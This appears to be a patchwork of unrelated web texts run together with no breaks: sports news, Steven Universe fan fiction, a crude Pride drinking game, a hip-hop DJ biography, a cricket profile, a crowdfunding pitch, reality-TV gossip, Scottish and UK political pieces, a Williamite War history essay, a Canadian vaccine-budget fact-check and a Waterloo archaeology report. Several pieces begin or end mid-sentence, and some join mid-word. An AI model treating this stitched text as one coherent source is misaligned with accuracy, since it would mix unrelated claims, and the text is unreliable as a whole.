The 49ers have done some redecorating since coach Kyle Shanahan and GM John Lynch took... https://t.co/0U7lAhCx7O pic.twitter.com/s0ANhpFsxp — Nick Wagoner (@nwagoner) April 28, 2017
Inside the locker room, Shanahan and Lynch's team rules can be found on the walls.
Those rules: 1. Protect the team. 2. No complaining, no excuses. 3. Be on time.
Of course, none of these changes are revolutionary or will directly result in victories. But for a new regime, it's always important to make sure every player knows what's expected of him. It's part of building the culture that goes with rebuilding a roster.[
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*strums guitar* I like mer-peepsThe story that i came up with for this is like a Little Mermaid AU, essentially.Rose is a mermaid who is fascinated by the humans above the water; so much that she wishes she could meet one day in person.Her wish is granted when she decides to observe the surface and a teenage boy around the age of 19 who was currently living by himself in a house near the port goes down the boardwalk after seeing a sort of pink-ish glint in the clear water. Greg took the time to go down the boardwalk and kneel over the end with a net clenched tightly in his grip. Once he leaned over the end of the boardwalk, he saw the most beautiful face he had ever seen.Rose couldn't believe her eyes..it was a real human! She was immediately infatuated with this strange man who she had only just met. However, every once in a while, Greg sits at the edge of the boardwalk just to visit her, now fully aware of the fact that she is a mermaid.I need sleep.Art (c) Steven Universe; Characters (c) Rebecca SugarWe saw The Baltimore Chop’s Pride Parade Bingo and we liked it, and we obviously love Pride, but we thought something was missing. The answer was obvious. What makes everything more fun? Alcohol!
So, without further adieu, City that Breeds is proud to present:
The Official Baltimore Pride Drinking Game*
Take 1 drink:
Exposed pubes
Public makeouts
Someone in just their underwear showing off an unimpressive package
Excessive glitter (full body)
Uncomfortable straight people
Someone vomiting
Boobs
Take 2 drinks:
Partially exposed genitals
Extremely wedged leather thong
Public groaping
Get groped by a stranger
Celebrity look-a-like drag queen
Someone crying
Someone falls down
Good boobs
Take 3 drinks:
Fully exposed genitals
Public official drinking
Get kissed by a stranger
See a past regrettable one-night-stand
Public sex act (genitals out)
Someone vomiting glitter
Public urination
Finish your drink:
Your mom or dad shows up commiting any of the above offenses.
*Not actually official in any wayThis article is about the rap and hip-hop pioneer and radio DJ. For other persons known as Mister Magic, Mr. Magic etc, see Mister Magic (disambiguation)
John "Mr. Magic" Rivas, (March 15, 1956 – October 2, 2009)[1] was a prominent hip hop radio DJ.
Career [ edit ]
Mr. Magic debuted in 1979 on WHBI-FM in New York City with “Disco Showcase” on the pay-for-time FM station. It was a far cry from the prime time in New York, what he didn’t realize was he was starting the very first rap radio show. A few short years would go by and Frankie Crocker, program manager for Inner City Broadcasting, took his rising star to commercial powerhouse WBLS with the first exclusive rap radio show to be aired on a major station.[2] Rap Attack, Magic's show featured Marley Marl as the DJ and Tyrone "Fly Ty" Williams as the show's co-producer. Magic moved full-time to WBLS-FM in July 1982. His reign on the New York City airwaves lasted six years and was instrumental in broadening the scope and validity of hip-hop music.[3] Mr. Magic recorded one 12" single as an artist "Magic's Message (There's A Better Way)",[4] produced by Spyder D for Posse Records in 1984. He is also interviewed in the 1986 cult documentary Big Fun In The Big Town.[5]
During the mid-80s there was a rivalry between Mr. Magic and Kool DJ Red Alert, who hosted a weekly show on WRKS-FM. The feud also played out between proxy rap groups, the Juice Crew and Boogie Down Productions (see The Bridge Wars). The Juice Crew – headed by Mr. Magic's on-air assistant, DJ Marley Marl – was named after one of Magic's aliases, "Sir Juice."[6]
In 2002 Magic lent his voice to Grand Theft Auto: Vice City, as himself, a DJ on one of the in-game radio stations.
Death [ edit ]
Mr. Magic died on the morning of October 2, 2009 from a heart attack.[7]Melvyn Bragg and his guests discuss Plato's Symposium |
in him missing the 2015 World Cup and key Tests for his country.
But now, with the shoulder injury behind him, Prasad is ready for his return. "I'm fine now. I will make my comeback against Pakistan," he adds, the enthusiasm in his voice very apparent. With Sri Lankan cricket seemingly on the decline, much rests on the recently-operated shoulders of Prasad to bring them back into the limelight.
***
Prasad is a devout Catholic, who grew up in Ragama, a suburb on the outskirts of Colombo. While many players move from the outsides to more comfortable places near their clubs in the city, Prasad elected to stay back in Ragama. He studied at the De Mazenod College, Kandana and made a name for himself as a number three batsman. However fate had different plans.
"There was no one in my college to bowl with the new ball," he says. "So my coach asked me if I can bowl." And that was the start of Prasad's fast bowling sojourn.
His connect with de Mazenod College runs deep. When he's at home, he usually heads to the college to help coach the players there. He's even taken up mentoring a young Sri Lankan prospect from his neighbourhood. Krishan Sanjula is the wicketkeeper batsman playing in the Sri Lankan Under 19 team. Sanjula's family doesn't have the finances to fund their son's education and his cricket, so Prasad stepped in. He has not only brought Sanjula under his wings and helped financially, but also ferries the player around the city whenever he can. He drops and picks up Sanjula from his college and his coaching camps, and ensures the young player is not lacking in funds or motivation. He is also known to help others in the area in whatever way he can. He has even roped in a few other cricketers to sing at a private function in order to raise funds for the needy, he says.
"If you don't help people, what's the value of life," he adds, philosophically. If only there were more like him.
***
Prasad's route to International cricket came through much toil at the Sinhalese Sports Club. For a fast bowler to make a mark on the placid wickets of SSC is no mean feat, but Prasad went on to even captain the club, albeit much later. He had conceded that he struggled with injuries to his back, his side and his hamstring, on top of that he's had major injuries to his hands and the shoulder. Yet, he remains one of Sri Lanka's best pace bowlers. The hours of work he'd put in outdid all the injuries he suffered.
Struggling with injuries, Prasad had worked up a specific work-out plan, strengthening just the core body parts and not aggravating the others. During his long hours of bowling practice, he used to place two iron rods and try and bowl in between them. When he had finally got the channel right, he shifted the iron bars to perfect another length. If the work out didn't finish as he wanted in the morning, he forced his coaches to come back after Lunch. And the grind began again. The long hours finally bore fruit.
That hardwork earned him just rewards soon after, but the desire to improve received various setbacks. As a youngster, Prasad had idolised Waqar Younis, so when his idol was in the country, he sought Waqar's help through the SLC. Waqar, to Prasad's surprise, asked for USD 5000 for a session. That was the last Prasad spoke to him. He continued with his unique approach and forged himself into a bowler full of heart.
Prasad is talked about highly by all the captains he's worked under. He is not only the kind of bowler who will give it his all, all the time, he is also one to keep the dressing room peppy and happy. During his initial days as an international cricketer, Prasad was more the cliched temperamental fast bowler. If his lines and lengths weren't bringing him wickets, he was hoping his long stares and sledging did. The big bulgy eyes only added to the effect.
Now, he focuses his energies more on keeping the team spirit high. He is amongst the first players to make a youngster feel at home, and constantly goes out of his way to try and make the newcomers feel at home.
***
Prasad still remains defiant about his fading international career. He still feels he has a lot more to give to the team, and says he cannot wait to play for the Sri Lankan team again. At 34, he still seeks out help to better his game.
"After shoulder surgery, it will be very tough to bowl like normal again. Especially cutters," he says. When told about how Anil Kumble overcame his shoulder injury to bowl with equal, if not more, venom, Prasad is impressed. He listens keenly, and even says he would love to talk with Kumble about how he can overcome his injury. It could very well happen when Sri Lanka visit India later this year.
Desperate to make up for his first-ball duck, Prasad was breathing fire with the ball in Headingley © Getty
Headingley 2014. Prasad has brought Sri Lanka close to their very first Test series victory. But for all his and his side's efforts, they are not able to dislodge the last wicket pair of James Anderson and Moeen Ali. For more than 19 overs, Sri Lanka have struggled to get either batsman out.
Prasad quickly takes his phone out and shows the video. He must have it in his favourites list. It's a video with Sinhalese text over it. It's the video of Sri Lanka's dramatic last-ball victory against England at Headingley in 2014.
He offers us his commentary, pointing to how Mathews moves Herath from gully to leg gully. "Last minute arright, just like that Rangayya's position was changed." With two balls left for the close of the match, Shaminda Eranga's bouncer catches the top of Anderson's bat and flies to where Herath had just been stationed. Sri Lanka had won an epic game.
Prasad's delight at this win does not come because he was its chief architect. It doesn't come because he redeemed himself after a horrifying shot. His delight stems from the simple fact that Sri Lanka had won, because that's just how he is.
© Cricbuzz
TAGSLike any art form, classical music evolves over time. Different influences and artists make their mark, and what was old becomes an ingredient of something new. In this same way, the album I hope to record with your help is a whole new take.
Hi Everyone,
I’m Paul Merkelo, and for the last 18 years, I’ve played solo trumpet for one of the most prestigious orchestras in the world, the Orchestre symphonique de Montréal.
With your help, I’m hoping to record an album of classical trumpet pieces that have been more or less left to gather dust in the archives. How did that happen? I can’t really say. Maybe it’s because the three concertos I plan to reinterpret are considered among the most difficult works ever written for trumpet (I've been practicing hard). To this date, there only exists a handful of recordings of these masterpieces. Here are the advantages of doing it with the OSM:
OSM has long been regarded as one of the greatest interpreters of French repertoire,
Maison Symphonique is a new concert hall with one of the best acoustics in the world,
Maestro Kent Nagano and myself hope to give a fresh and innovative perspective.
So that’s where my big idea begins…
Despite my best efforts to record this album on the cheap, my heart kept bringing me back to Montreal’s brand new Maison Symphonique, and to my amazing colleagues of 18 years – the OSM. Recording with them, in this great hall, does not happen on a rinky-dink budget!
That’s where you come in. Because I alone can’t come up with the funds needed to pull this off. What’s more, if together we can raise more than that amount, there are many small details we can add to make the album even more memorable.
To do justice to these three concertos, we have to record them in a way that hasn’t been done before. I feel confident that the work we produce will inspire a whole new generation of listeners and even a new generation of aspiring trumpet players. In fact, Yamaha Music Corporation will include, as a gift, a limited number of CDs with the purchase of their new trumpets! How awesome is that?
What’s more, to put your money where my mouth is, 100% of MY royalties will go to The Paul Merkelo Scholarship Fund, which aims to encourage and support young musicians.
Please contribute to this campaign, and participate in reframing classical music! Participating in the funding of this album is nothing less than being part of the history....
Together, let’s make a difference.
With thanks and gratitude,
PAUL MERKELO
For the classical music buffs reading this, the pieces we plan to record are 3 French concertos for trumpet:
Here’s a few ways I’ve come up with to say thanks:
A DESIGNER POSTER
Discover our new rewards! Click on the text above (New rewards added)!
Please spread the word with a simple click on « Like », « Share » or « Tweet ». The more people who hear about this project, the more chance we have of making it special and of reaching our funding goal.
Let’s keep in touch!
Facebook | Twitter | YoutubeZsalynn Whitworth’s story in TLC’s My 600-lb Life is one of the most extraordinary tales ever featured in the hit reality TV show. Starting her journey towards weight loss weighing north of 600 pounds, Zsalynn was able to shed off more than half her weight through sheer hard work, dedication, and a willingness to relinquish anything which stood in her way. Since appearing on the show, Zsalynn seems to have practically completed her battle against obesity and is now helping others do the same.
Zsalynn’s story was quite memorable among avid fans of the hit reality TV show due to her husband, Gareth, who made it very evident that he preferred it if his wife remained overweight. During Zsalynn’s initial featured episodes, Gareth was shown giving unhealthy food to his wife despite Zsalynn attempting to lose weight, according to a Daily Mail report. Much to the chagrin of viewers then, Gareth actually encouraged his wife to gain back the weight she lost.
Fortunately for Zsalynn, she ultimately chose her health and future over her marriage, and she ended up divorcing Gareth. During this time, Zsalynn remarked that her ex-husband simply did not find her attractive anymore, after she shed off half her initial weight. Needless to say, the My 600-lb Life community was fully behind Zsalynn on her decision to leave her husband, with many stating that he was simply dead weight.
Since then, the mother of one has maintained her course towards recapturing her life from morbid obesity. For a while, it seemed that she was still struggling with her body image due to the excess skin left behind by her weight loss. After qualifying for skin removal surgery, however, Zsalynn has managed to keep her course on her recovery without any problems.
Fortunately, Zsalynn has opted to maintain an active Facebook profile, where she has communicated with her supporters steadily over the past couple of years. From the photos that she has uploaded of herself thus far, it appears that Zsalynn has finally attained a figure that she could definitely be proud of. Needless to say, her followers have lauded Zsalynn’s efforts and progress, with many remarking that she has become far more beautiful and far happier since appearing on My 600-lb Life.
Zsalynn’s life with her daughter also appears to be going well. Late last year, she uploaded a series of pictures with her daughter, who is a teenager now, and both women looked quite content and happy. If any, it appears that losing her husband has proven beneficial to Zsalynn.
The mother of one has also been quite active in the weight loss community, being an active participant in weight loss circles such as WLSFA. Overall, it appears that Zsalynn of My 600-lb Life has found her calling. After being achieving weight loss herself, she now helps others gain the happiness and health that she has managed to attain over the last few years.
[Featured Image by TLC]Image caption Mr Rowley said very few people knew that Kezia Dugdale was going to resign
Scottish Labour's interim leader Alex Rowley has revealed that Kezia Dugdale only gave him a few minutes' notice that she was quitting as party leader.
Ms Dugdale announced she was standing down last month and a contest is ongoing to elect her successor.
Mr Rowley was Ms Dugdale's deputy at the time.
He told the BBC's Sunday Politics Scotland: "I didn't know that Kezia Dugdale was going to resign up until 10-15 minutes before she announced it."
He added: "I think very few people knew but that was Kezia's decision, a decision that she wanted to make.
"We now need to move forward. We owe Kez a debt of gratitude for all the work that she's done over these last two years."
The leadership contest is between Anas Sarwar, Labour's health spokesman at Holyrood, and left-wing MSP Richard Leonard.
Image caption Kezia Dugdale served as the leader of Scottish Labour for two-and-a-half years
During the interview, Mr Rowley was also asked if he had set up Mr Sarwar during First Minister's Questions last week.
In Holyrood on Thursday, while talking about poverty, Mr Rowley said the SNP stood for "the millionaires, not the millions", which led to First Minister Nicola Sturgeon launching an attack on Mr Sarwar.
Mr Sarwar had previously denied being "one of the few" as he defended his family's firm over its failure to pay the real living wage to all staff. He has since relinquished all his shares in his family's wholesale business. The Glasgow MSP has also faced questions over his decision to send his children to a private school in the city.
In his response on Sunday Politics Scotland, Mr Rowley - who is attending the Labour Party Conference in Brighton - said: "I'm going to continue to make the case for the many, not the few. I'm going to continue to make the case that we need to address the unacceptable levels of poverty that exist in Scotland.
"I haven't come out for any candidate. I've remained neutral. I have one vote the same as every other party member. The Labour party members will decide who they want to put in as our next leader."
The result of the leadership contest will be announced in mid-November.The Williamite War 1689-91(1:1)
Published in Early Modern History (1500–1700)
Harman Murtagh
CAUSES
The British Factor
The war occurred as a result of the fusion of a number of interrelated factors – British, European and Irish. The British factor was the attempt by King James II to use Ireland as a stepping stone to recover the throne he had lost to William of Orange, in the so-called Glorious Revolution of 1688. The domestic cause of James’s deposition stemmed from his failure to confine his use of power within limits that were acceptable to the political majority – the conservative Anglican (Church of England) country gentry who formed the Tory party.
The Tories were natural supporters of the monarchy and the parliament of 1685 voted James enough revenue for life to support peacetime government. But the new king was not prepared to leave it at that. A late convert to Roman Catholicism, he felt impelled to fulfil the mission for which God, he believed, had preserved him: the conversion of Protestant England to Catholicism. He thought that this would occur naturally, if people’s religion was left to their consciences by the removal of legal barriers. There was no hope of this policy winning approval with the Tory gentry. English Roman Catholics were a small and suspect minority, so James took the extraordinary step of turning for support to the Dissenters (Presbyterians). They, too, stood to gain by repeal of penal laws, but their opposition to Popery was even more pronounced than that of the Anglicans; they were also allies of the Whigs, the political group which sought the subordination of the monarchy to parliament and which had earlier tried to exclude James from the throne on account of his religion.
James’s high-handed efforts to increase the electoral influence of these unnatural and unreliable allies brought him into conflict with the Tories. Their alienation was completed by their exclusion from government; by James’s vindictive treatment of the Church of England; by his close relations with the absolutist Louis XIV whom they suspected he sought to imitate; by their suspicion of his motives in expanding the army; and by his tolerance of the pro-Catholic policies of his Irish viceroy, Tyrconnell, which many thought a blueprint of his plans for England. James might even have survived these follies were it not for the birth in 1688 of his son, who would secure a Catholic succession, and the invasion of England by William of Orange.
The European Factor
The dominant factor in Europe was the France of Louis XIV. It was the strongest power; prosperous, populous, and relatively united under firm and efficient central government. Louis regarded Spain, though an ailing power, as France’s main enemy because of its control of the Spanish Netherlands, the strategic buffer-zone between France and Holland. He disliked the Dutch as successful rebels and bourgeois Protestants, whose great commercial prosperity he resented. His most inveterate opponent was William of Orange, who had led Holland through the terrible French war of the 1670s, and thereafter dedicated his considerable abilities to thwarting the ambitions of the French king at every turn. William promoted a grand alliance of states against Louis, which eventually included Holland, Sweden, Spain, Savoy, the Hapsburg Emperor and many of the German princes. As international tension mounted, there was intense anxiety in Holland about the position of England under James, whom the Dutch suspected of favouring France. A renewal of the brief Anglo-French alliance of the early 1670s was a recurrent Dutch nightmare. Instead they hoped to secure England’s formidable support for the grand alliance against Louis. William’s invasion of England in 1688 was, therefore, a pre-emptive strike.
William was James’s nephew and closest legitimate male relative; his wife, Mary, was James’s eldest daughter and heir-apparent. If she succeeded her father, there were expectations that England would join the alliance against France, expectations upset by the birth of the Prince of Wales in 1688. William feared that the spectre of a Catholic succession might provoke revolt and a second English republic. The first republic in the 1650s (under Cromwell), had been a commercial and military opponent of the Dutch. If there was to be a move against James, William judged it better to place himself at its head. Although his public declaration made much of his concern for Englishmen’s rights, he was not really interested in England except as a necessary ally in his vendetta against France. Sailing late in the season, with 18,000 troops aboard 250 ships, William landed at Brixham on 5 November 1688.
The English army, undermined by a Williamite conspiracy, offered no resistance. James’s nerve collapsed, and he fled to France, preceded by the queen and the infant Prince of Wales. William summoned a ‘convention parliament’ which declared that James had abdicated by deserting his people and breaking the laws. The convention offered the throne jointly to William and Mary, who accepted. Grudging Tory acquiescence in these very novel constitutional arrangements was secured by playing on fears that the alternative was anarchy. A similar convention in Edinburgh gave William and Mary the throne of Scotland.
The Irish Factor
Alone of James’s three kingdoms, Ireland had a majority of his Roman Catholic co-religionists, consisting of about three-quarters of the population, comprised of the earlier inhabitants of the island of both Gaelic and Norman (‘Old English’) descent. The preceding century had weakened their position in almost every respect as they lost ground to the newer English and Scottish Protestant settlers, introduced by the plantations. They comprised the remaining quarter of the population and were most heavily concentrated in Ulster.
Relations between the two groups were tense. Despite its losses, Irish Catholic civilisation, fortified by the Counter-Reformation, retained a good deal of underlying strength. James’s accession improved their position and revived their hopes. The Earl of Tyrconnell, their leading spokesman, became Viceroy. Catholics soon took over the Irish army, and were brought into the judiciary and other public offices. Simultaneously the ground was prepared for a Catholic majority in parliament to achieve Tyrconnell’s political objective – the repeal of the Restoration land settlement. Protestants in Ireland felt threatened by this policy and for the most part they welcomed James’s downfall. The Glorious Revolution was a severe blow to Tyrconnell and threatened his hopes for the revival of the Irish Catholic community. Under Irish law, whoever was king of England was also king of Ireland and William indeed had accepted the Irish as well as the English throne from the convention parliament.
French Involvement
Louis XIV gave the exiled James a warm welcome. William’s seizure of England had been a major and unexpected setback to French plans. James’s restoration would clearly be in Louis’s interest; even its attempt was worthwhile, provided it was not too costly on French resources. It would destabilise the British Isles sufficiently to distract William and divert his resources from the Continent. Over the next three years, eight major French convoys sailed to Ireland, carrying large quantities of arms, ammunition, money, military supplies of all sorts, French generals and officers, returning Jacobite exiles, and 6,500 French troops for the 1690 campaign. Without French encouragement, it is quite possible that Tyrconnell would in the end have stoically accepted the Glorious Revolution; certainly, without Louis’s material support, the Irish Jacobite army could never have sustained its remarkable three-year campaign in Ireland.
James’s Plans
The Glorious Revolution had been a shattering blow to James’s self-confidence and he viewed the prospect of renewing the contest with William – especially in Ireland – without enthusiasm. He reluctantly sailed to Ireland to lead the bid for his restoration in person. His presence gave the Irish resistance to William a legitimacy that the leading Jacobites’ fathers had lacked a generation earlier in the Confederation of Kilkenny; but it was irksome to James that, as the price of Irish support, he was obliged to agree to the immediate summoning of a Catholic-dominated parliament in Dublin at which the leading Irish Williamites were attainted and the Restoration land settlement reversed. William had already announced that he would forfeit the lands of his opponents.
Louis’s intervention on behalf of James focused William’s attention on Ireland as nothing else would have done. And it had the immediate major benefit for him of overcoming English opposition to joining the alliance against Louis, so that in May 1689 England at last declared war on France. Parliament also granted funds towards the reduction of Ireland which belatedly enabled William to relieve the beleaguered Protestants in Derry.
Thus, the three factors – European, British and the Irish – all fell together, to involve Ireland as an important theatre in a major European conflict, which was at the same time a British dynastic dispute and an Irish civil war. William’s personal intervention was required in 1690 and victory for his army was only finally secured in 1691 when the Treaty of Limerick, brought the war in Ireland to a conclusion. The wider European war ended in stalemate with the Treaty of Ryswick in 1697.
CONSEQUENCES
For James
It finished King James. At Ryswick, even Louis reluctantly recognised William as king of Great Britain, although he refused to repudiate James’s claims, and declined to expel James from France. The Jacobite court at St Germain continued to be a centre of intrigue against William, but the exiles were poor and demoralised; there was much division and, in reality, they were increasingly a very marginal factor in English politics.
For William
For William, victory in Ireland consolidated his seizure of the British Isles from James and saw off the threat of direct French intervention in one of his kingdoms which was intended as a springboard to the others. His goal of denying Britain as an ally to Louis was achieved, and the French intervention in Ireland resolved the related problem of bringing England and her resources into the grand alliance against France. England contributed the lion’s share of the alliance’s naval resources, a substantial number of troops and a good proportion of its financial needs.
For Louis
Outwardly, the French intervention in Ireland had not been a success for King Louis. He had not, after all, succeeded in restoring James or ousting William. But the real motive of the French was to destabilise the British Isles and thereby divert William from the Continent. And in this the Irish adventure was highly successful for the French. The cost was comparatively light; certainly it was only a fraction of the cost to William of containing it. In 1690, for example, the only year that Louis sent troops, his commitment was about one fifth of the number William brought in from outside. And at the end Louis received a handsome dividend of trained Irish soldiers to support his war-effort on the Continent. Thus, the war in Ireland cannot really be regarded as a defeat for French policy. Throughout the Irish war, the French navy sailed the high seas with impunity, a foretaste of the coming French interest in expansion overseas that was to reach its apogée under Louis’s successors, although James’s defeat ensured that Ireland remained outside the French colonial and commercial hegemony.
For Irish Protestants
For Irish Protestants, who had supported William, the war was a great success. With the crushing of their opponents, their ascendancy was assured for the next hundred years, and the ‘protestant nation’ was born. Throughout the eighteenth century, it monopolised parliament, government, the public service, the army, the church, the higher echelons of the law, higher education and land ownership. However, the Anglicans proved rather ungenerous in victory to the Dissenters (Presbyterians) who continued to suffer from legal disabilities and economic deprivation. In general, too, Protestants resented the concessions made to the Jacobites to secure peace which they viewed at the time as a profligate disregard of their best interests. They also paid a substantial price in terms of the considerable physical and economic damage wrought by the war.
The Glorious Revolution increased the importance of the Irish, as well as the English, parliament. Overwhelmingly Anglican in membership thereafter, and still smarting from the wartime experience, it enacted a series of anti-Catholic penal laws in the 1690s and early 1700s. To secure Anglican ascendancy, the Penal Laws also affected Dissenters. The main practical impact of this draconian body of legislation was to consolidate and perpetuate the de facto post-war status quo by excluding Roman Catholics from public and professional life and making it difficult for them to own or rent land.
For Irish Catholics
Along with King James, Catholics were the real losers of the war. Although the articles of Limerick and Galway gave them some protection, the immediate impact was a fall in their share of land ownership from 22 to 14 per cent; and the proportion diminished further in the eighteenth century to about 5% by 1780. In fact, the severity of their defeat broke for ever the Catholic gentry as a group of political, economic or military significance in Irish life. The Catholic revival initiated by Tyrconnell was now dead, and the underlying forces that had provided its vitality were spent. When Irish radicalism began to gather momentum, in the wake of the American and French revolutions, the remnants of this group were only a minor part of the movement. This sharp, indeed terminal, decline in fortunes was mainly experienced by the land-owning elite, but the Catholic tenantry who had followed the old gentry loyally throughout the war, and suffered with them, would surely have preferred them to the new.
Instead, the ablest and most enterprising representatives of Catholic Ireland were to be found on mainland Europe as churchmen, businessmen and above all as soldiers. The war resulted in the exodus of 20,000 Jacobite veterans to the Continent to serve the Catholic states of France, Spain, Naples and the Habsburg empire. The tradition endured, and the process of emigration to the Continent, especially military emigration, continued throughout much of the eighteenth century.
Harman Murtagh lectures in law at the Regional Technical College, Athlone.As Ontario and Quebec grapple with measles outbreaks, Liberal Leader Justin Trudeau has been attacking the Prime Minister’s record on vaccines during question period this week.
On Tuesday, Trudeau slammed Stephen Harper for running “partisan government ads” instead of a public health campaign to encourage parents to vaccinate their children. Trudeau went on to accuse the government of cutting the Public Health Agency of Canada’s budget for immunization programs by 23 per cent since 2006-07.
All the parties, of course, agree that vaccines are essential to public health. Harper said as much in his retort: “The minister of Health always advocates the use of vaccines. Vaccines have historically proven effective in improving the health of our children and families... As for the ads, we have a responsibility to make Canadians aware of all government measures, and we will continue to do so,” he said.
On Wednesday, Harper challenged Trudeau’s statement that the immunization budget has been cut by 23 per cent. “I checked on those numbers overnight, and saw that there had been no reduction whatsoever,” he said.
Here’s a quick fact-check of the Prime Minister’s fact-check: In the public health agency’s 2006-07 “report on plans and priorities,” $10 million is budgeted for immunization. In the 2013-14 version of the same document (scroll down to “Sub-Sub-Program 1.2.1.1: Immunization), the budget is $7.69 million—a reduction of 23.1 per cent.
However, this tells us nothing about the real amount spent on vaccination, which may be the source of the discrepancy between the numbers put forward by Trudeau and Harper. In the past, actual money used for immunization initiatives has fallen short of allotted funds. (The partially abandoned national vaccination registry is an example. Of the $135 million budgeted for the project in 2007, only 97 million was reportedly spent by last year).
The Public Health Agency of Canada’s publicly available spending reports aren’t broken down by program. However, a spokesperson told us that overall government spending on immunization has been stable over the past ten years if you count Health Canada funding, Public Health Agency of Canada funding, and special projects such as the new immunization records app.
“Health Canada and Public Health Agency of Canada funding for immunization since 2005 has ranged from over $15M a year to over $20M in 2010-11 on the heels of the H1N1 pandemic in Canada. Planned spending for fiscal 2014-15 is approximately $18M,” the spokesperson wrote in an email.
Some commenters have pointed to an audit the agency did of its immunization program in 2012 as the possible origin of budget cuts specific to PHAC. The document says that the effectiveness of the agency’s programs promoting vaccination—such as National Immunization Awareness Week and the Canadian Immunization Conference—has never been evaluated. The report concluded there was “no evidence” that the awareness campaigns were having any effect at all.
The audit also draws attention to Canada’s tangle of territorial, provincial and national health authorities and the confusion that can create: “The absence of a clearly defined and communicated mandate... has contributed to a lack of clarity among external stakeholders on the Agency’s purpose and intended roles... This constitutes a potential risk to the Agency’s reputation.”
Health Minister Rona Ambrose has been continually reassuring the public that Canada’s vaccination coverage rates are at a healthy 95 per cent, high enough to prevent large outbreaks through herd immunity, a number that comes from a 2011-12 telephone survey covering 3,000 children. At that time, 95 per cent of parents said their kids’ immunizations were up-to-date. Parents of kids aged two, seven, and 17 years were polled.
An updated edition of the survey taken in 2013 and 2014 is due out soon. According to Dr. John Spika, the director general for immunization at the Public Health Agency of Canada, it will be an improvement over past versions. More households were surveyed, and the data will be broken down by province for the first time. There will also be an effort to check parents’ responses against available information about kids’ vaccinations.
Still, as Maclean’s reported last week, there’s limited evidence that any campaigns are effective at dissuading anti-vaccination parents. And in many cases, those most vulnerable to vaccine-preventable diseases are not children, but adults, because they may not have received enough doses of vaccine or their immunity may have worn off.President Donald Trump faces a full day signing bills, two of which are aimed at promoting women.
The bills plan to support business programs for women and to encourage them to pursue careers in math and science, reports CBS News.
The first bill, the Inspiring the Next Space Pioneers and Innovators and Explorers Act (INSPIRE), directs NASA to encourage women to pursue careers in science, mathematics and engineering.
Congresswoman Barbara Comstock (R-VA) first introduced the bill in March, 2016. The bill also tasks NASA with promoting careers in aerospace with women.
“The INSPIRE Women Act will help create a climate for young girls and women to be successful in STEM and competitive on the world stage, and be great assets to growing the 21st Century economy,” Comstock said of her bill previously.
The second bill, Promoting Women in Entrepreneurship Act, permits the National Science Foundation to “encourage its existing entrepreneurial programs to recruit and support women to extend their focus beyond the laboratory and into the commercial world.”
Trump also plans to pass an executive order aimed at strengthening historically black colleges and universities. Vice President Mike Pence reaffirmed the administration’s support of HBCUs during a meeting Monday. (RELATED:Trump Plans To Strengthen Support For Black Colleges)
“You deserve far more credit than you get, and know that beginning today, this administration is committed to making sure that our historically black colleges and universities get the credit and the attention they deserve,” Pence told those gathered.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact [email protected] corduroy road unearthed by construction crews on King Street in Uptown Waterloo dates back two centuries and is likely one of the first ever roads built by Euro-Canadian settlers in the region, according to a senior archeologist.
Charlton Carscallen said over the last two weeks, his team has been able to plot the route of the corduroy road, which he says runs north along King from William Street to the railroad tracks near Waterloo Town Square.
Charlton Carscallen is the senior archaeologist tasked with pinpointing the exact location and historic significance of the corduroy road found under King Street in Uptown Waterloo. (Colin Butler/CBC News)
"We suspect it was the Mennonites who built the road," Carscallen said, noting the white settlers who built it likely adopted the technology from their former home in Lancaster County Pennsylvania and brought it to Waterloo after the American Revolution.
"This particular corduroy road we believe was built somewhere between the late 1790s and 1816," Carscallen said.
Mud route
Centuries ago, corduroy roads were a typical means for early European settlers to avoid horses, wagons and people getting stuck in the mud.
They were built by first cutting a pathway through through a forest and laying the timbers perpendicular to the route in order to provide a surface for wagons to travel over low-lying or soggy areas.
The corduroy road discovered along King Street was a low-lying area where Laurel Creek would have once flowed through what is now Waterloo's central business district.
"King Street has been a commercial thoroughfare for 200 years," Carscallen said, noting that today just as then, the route remains a critical link for the region's economy, as illustrated by the LRT project.
"There's some symmetry there," he said. "You have a transportation corridor that's serviced the region for 200 years and is going to continue to."
"The urgency of the project has been impressed upon me," said Carscallen, who notes the corduroy road itself will be documented and, with approval from the province, eventually removed from the path of the new LRT.
"The city museum has asked for some pieces for their displays," he said. "But we are talking about logs that have been sitting wet for 200 years, so most of them will be removed and disposed of."
Construction on the LRT has been halted in uptown Waterloo after a section of corduroy road was discovered under King Street. (Melanie Ferrier/CBC News)
Expect delays
What's good for history buffs isn't necessarily good for the bottom line of neighbourhood businesses. Provincial law requires construction to grind to a halt any time workers suspect they've found a site of historical significance, so that the find can be properly inspected.
The unexpected bureaucratic hurdle could push the construction schedule past its November deadline and into the busy Christmas holiday shopping season, according to Avril Fisken, spokeswoman for the construction consortium in charge of building the LRT.
"We don't know the date we can proceed with construction," Fisken said, noting archeologists are going as fast as they can. "They're working long hours, they're working through the weekends and working directly with the ministry to expedite the review request."
Fisken said the discovery has led Grandlinq to juggle its crews and shift the work focus to the Caroline Street and Allen Street area, which is outside the archeologically senstive zone.
Grandlinq is also seeking an exemption to noise by-laws, Fisken said, so that construction crews can work longer hours to make up for any delays caused by the historical find.About
ROOM 7 is based on a true story.
My name is DeRick Walker and this film takes place in a home for the terminally ill. My mother was in this home and took her final breath there. The events that |
their seats and share of vote. Yet his successor in No 10 thinks her quickest route to popularity is to dump on him. I can see why he has decided not to hang around in parliament to be a spectator while Mrs May buries him alive.
The experience of these two ex-leaders tells the story of the rise and fall of a political era. Call it, if you like, the Age of Centrism. Or, if you prefer, the Liberal Ascendancy. It began in 1990 when John Major replaced Margaret Thatcher on a mission to revive the Tories’ popularity by softening her harsher ideological edges. Liberal centrism peaked under Tony Blair, endured through Gordon Brown and had a further lease of life during the coalition when Nick Clegg, and others who actually called themselves Liberal, joined the government. Many of its adherents think its last rites were read when Britain voted for Brexit.
I am, I know, painting with an extremely broad brush. There were serious differences between these men and their governments, but on the big issues there was common ground. All of them presided over a mixed economy of state and private provision of goods and services. All were committed to free trade; all were permissive on social issues. All subscribed to membership of the European Union. John Major and Tony Blair had a lot more in common with each other than either did with Nigel Farage or Jeremy Corbyn. Ditto Gordon Brown and David Cameron. New Labour accepted much of the Thatcherite economic settlement inherited from the Conservatives, which is precisely what was wrong with it for opponents from the left. Cameroonians embraced the social liberalism of the Blair era, much to the discontent of many on the traditional right.
